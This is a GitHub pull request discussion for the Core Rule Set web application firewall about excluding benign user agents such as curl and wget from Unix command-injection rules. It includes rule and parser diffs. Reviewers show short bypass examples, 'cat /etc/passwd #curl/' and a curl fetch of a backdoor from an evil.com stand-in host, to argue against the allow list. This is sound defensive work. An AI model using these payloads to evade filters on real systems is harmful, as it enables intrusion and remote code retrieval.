fix: exclude well known user agents from unix commands #3190
Conversation
8fba43a to
257975c
Compare
|
Hey Max, that looks like a great fix! |
|
This looks good to me. But I did not really check the details and the correct shifting of tests etc. Somebody should do that before we merge. |
|
I've rewritten this PR to use a more flexible approach. I didn't like that the exclusion also affected other targets. |
c31ee53 to
f1384da
Compare
|
@airween I've tried to fix the comment rule of |
|
This is just a quick review, and gives a workaround. We should discuss the syntax, because there isn't any restriction for comments between parts of chained rules. First of all, this modification fixes the secrules-parser error: 1331,1334c1331,1334
< # Regular expression generated from regex-assembly/932239-chain1.ra.
< # To update the regular expression run the following shell script
< # (consult https://coreruleset.org/docs/development/regex_assembly/ for details):
< # crs-toolchain regex update 932239-chain1
---
> # Regular expression generated from regex-assembly/932239-chain1.ra.
> # To update the regular expression run the following shell script
> # (consult https://coreruleset.org/docs/development/regex_assembly/ for details):
> # crs-toolchain regex update 932239-chain1
15
8000
45,1548c1545,1548
< # Regular expression generated from regex-assembly/932238-chain1.ra.
< # To update the regular expression run the following shell script
< # (consult https://coreruleset.org/docs/development/regex_assembly/ for details):
< # crs-toolchain regex update 932238-chain1
---
> # Regular expression generated from regex-assembly/932238-chain1.ra.
> # To update the regular expression run the following shell script
> # (consult https://coreruleset.org/docs/development/regex_assembly/ for details):
> # crs-toolchain regex update 932238-chain1As you can see, the solution is simply remove the white spaces from the beginning of comment lines. This will prevent the next possible issue: rules-check.py would also triggered with this syntax. The reason is simple: rules-check.py has a test case, namely it checks the indentation. That uses msc_pyparser's If we want to allow the indents (rather we would expect them) before comments which are between parts of chained rules, we have to modified the msc_pyparser too. This would not be a complicated modification IMHO, but I started to play with secrules_parser, but actually I couldn't fix this issue yet. (This is what I tried: @@ -157,8 +157,8 @@ Transformation:
/* This is to take rule continuations (\\n) as comments */
-Comment[ws='\t ']:
- /\\\n|^\#.*$/;
+Comment[ws='\t ']:
+ /\\\n|^( |\t)*\#.*$/;so I tried to add an optional whites space block before the comment; Unfortunately I don't see why isn't that works.) |
|
Went over it again. Still did not check out the tests in detail, but it looks good to me (outside of the test failing, obviously). |
|
Thanks @airween, I tried the same but didn't get it working. I'll just outdent the comments then. |
4cbaaec to
aa728c2
Compare
Hmm... it's very weird... Of course, this works without any modification of |
But now the test has passed. So it works, isn't it? |
|
Yes, I just outdented the comments. |
User agents like `curl` and `wget` currently lead to false positives because they are valid in `User-Agent` headers. This commit moves the matching against the `User-Agent` header of 932236 into a separate rule 932238, so that words like `curl` and `wget` are still treated as attacks in other payloads but are excluded for the `User-Agent` header checks. In addition, the well known user agents are also excluded from rule 932237, which only matches against `Referer` and `User-Agent`. An additional rule was omitted for simplicities sake.
Instead of using `include-except` to exclude some command words, which also affects matching against other headers, use separate rules and an allow list with `@pmFromFile`.
5bbd184 to
deeb452
Compare
|
I'd love some feedback on this one. @emphazer or @theMiddleBlue maybe? |
|
@theseion i already spend friday some time with this PR. I will give you feedback during the week ;-) |
|
Awesome, thank you! |
| # (consult https://coreruleset.org/docs/development/regex_assembly/ for details): | ||
| # crs-toolchain regex update 932239-chain1 | ||
| # | ||
| SecRule REQUEST_HEADERS:User-Agent "!@pmFromFile benign-user-agents.data" \ |
There was a problem hiding this comment.
isn't this opening a lot of bypasses for this specific rule? such as
cat /etc/passwd #curl/I know, this would match other rules but the technique could be used in a more complicated bypass for this.
IMO any allow-list based on user-agent (or more in general based on user controlled input) should be removed.
Again, my unpopular opinion is: we should not inspect UA / Referer at PL1 and PL2 without matching an injection syntax. It will be always leads to FPs hard to exclude without removing the rule from the whole application.
There was a problem hiding this comment.
Yes, you are right of course. IMO, this rule is just there to filter some basic automated attacks. If you want the real deal you'll need to enable PL 3 probably. So the question is, would users benefit from this rule, even if it is trivial to bypass?
There was a problem hiding this comment.
yes of course removing FPs it's a good thing and blocking RCE also. The problem IMO is that the allow list is too inclusive. As is, you'll have even unintended bypass like curl 'http://evil.com/curl/backdoor.txt' or something like.
Can we replace the first rule of the chain by using a regex? Something like @rx ^curl/[0-9.]+$
I see more problems with the unix-shell-* list. We're doing it as is to prevent something like system($useragent) in the protected application, but I think this is not something we can do at PL1 and PL2. It leads to a ton of FP and FN.
There was a problem hiding this comment.
Can we replace the first rule of the chain by using a regex? Something like @rx ^curl/[0-9.]+$
Yes. Maybe that's better.
I see more problems with the unix-shell-* list. We're doing it as is to prevent something like system($useragent) in the protected application, but I think this is not something we can do at PL1 and PL2. It leads to a ton of FP and FN.
Do you mean in general or for this rule in particular? We had the unix-shell* lists before and they (sort of) worked...
There was a problem hiding this comment.
in general, I think they worked well with an acceptable FP level until we start to match against UA and Referer request headers. This is just my opinion, I can continue to exclude UA and Referer from those rules. I'm just worried that using 4.0 at PL2 will be hard, if not impossible, for integrators.
There was a problem hiding this comment.
Can you guys prepare this question for the chat on Monday? I think it deserves a thorough discussion.
| # (consult https://coreruleset.org/docs/development/regex_assembly/ for details): | ||
| # crs-toolchain regex update 932238-chain1 | ||
| # | ||
| SecRule REQUEST_HEADERS:User-Agent "!@pmFromFile benign-user-agents.data" \ |
There was a problem hiding this comment.
Same here, possible rule bypass
|
I'm not sure the chain rule approach is a good idea, for the reasons already discussed by others. I thought there was a crs-toolchain function to exclude unwanted keywords? Let's use that? Or can we add a PL 3 rule, something like "Automated tooling detected", which picks up curl, wget, Go HTTP library UA, Perl HTTP library UA, etc. etc. and then CRS installers can switch off the rule if they want to allow such tooling to be used? Sorry if this is too simplistic 😅 Maybe I'm missing something. |
|
As discussed, this approach doesn't work. |
|
For posterity / future reference: this was picked up in #3189, go there for further discussion (correct me if I'm wrong). |
User agents like
curlandwgetcurrently lead to false positives because they are valid inUser-Agentheaders.This commit moves the matching against the
User-Agentheader of 932236 into a separate rule 932238, so that words likecurlandwgetare still treated as attacks in other payloads but are excluded for theUser-Agentheader checks.In addition, the well known user agents are also excluded from rule 932237, which only matches against
RefererandUser-Agent. An additional rule was omitted for simplicities sake.Fixes #3189.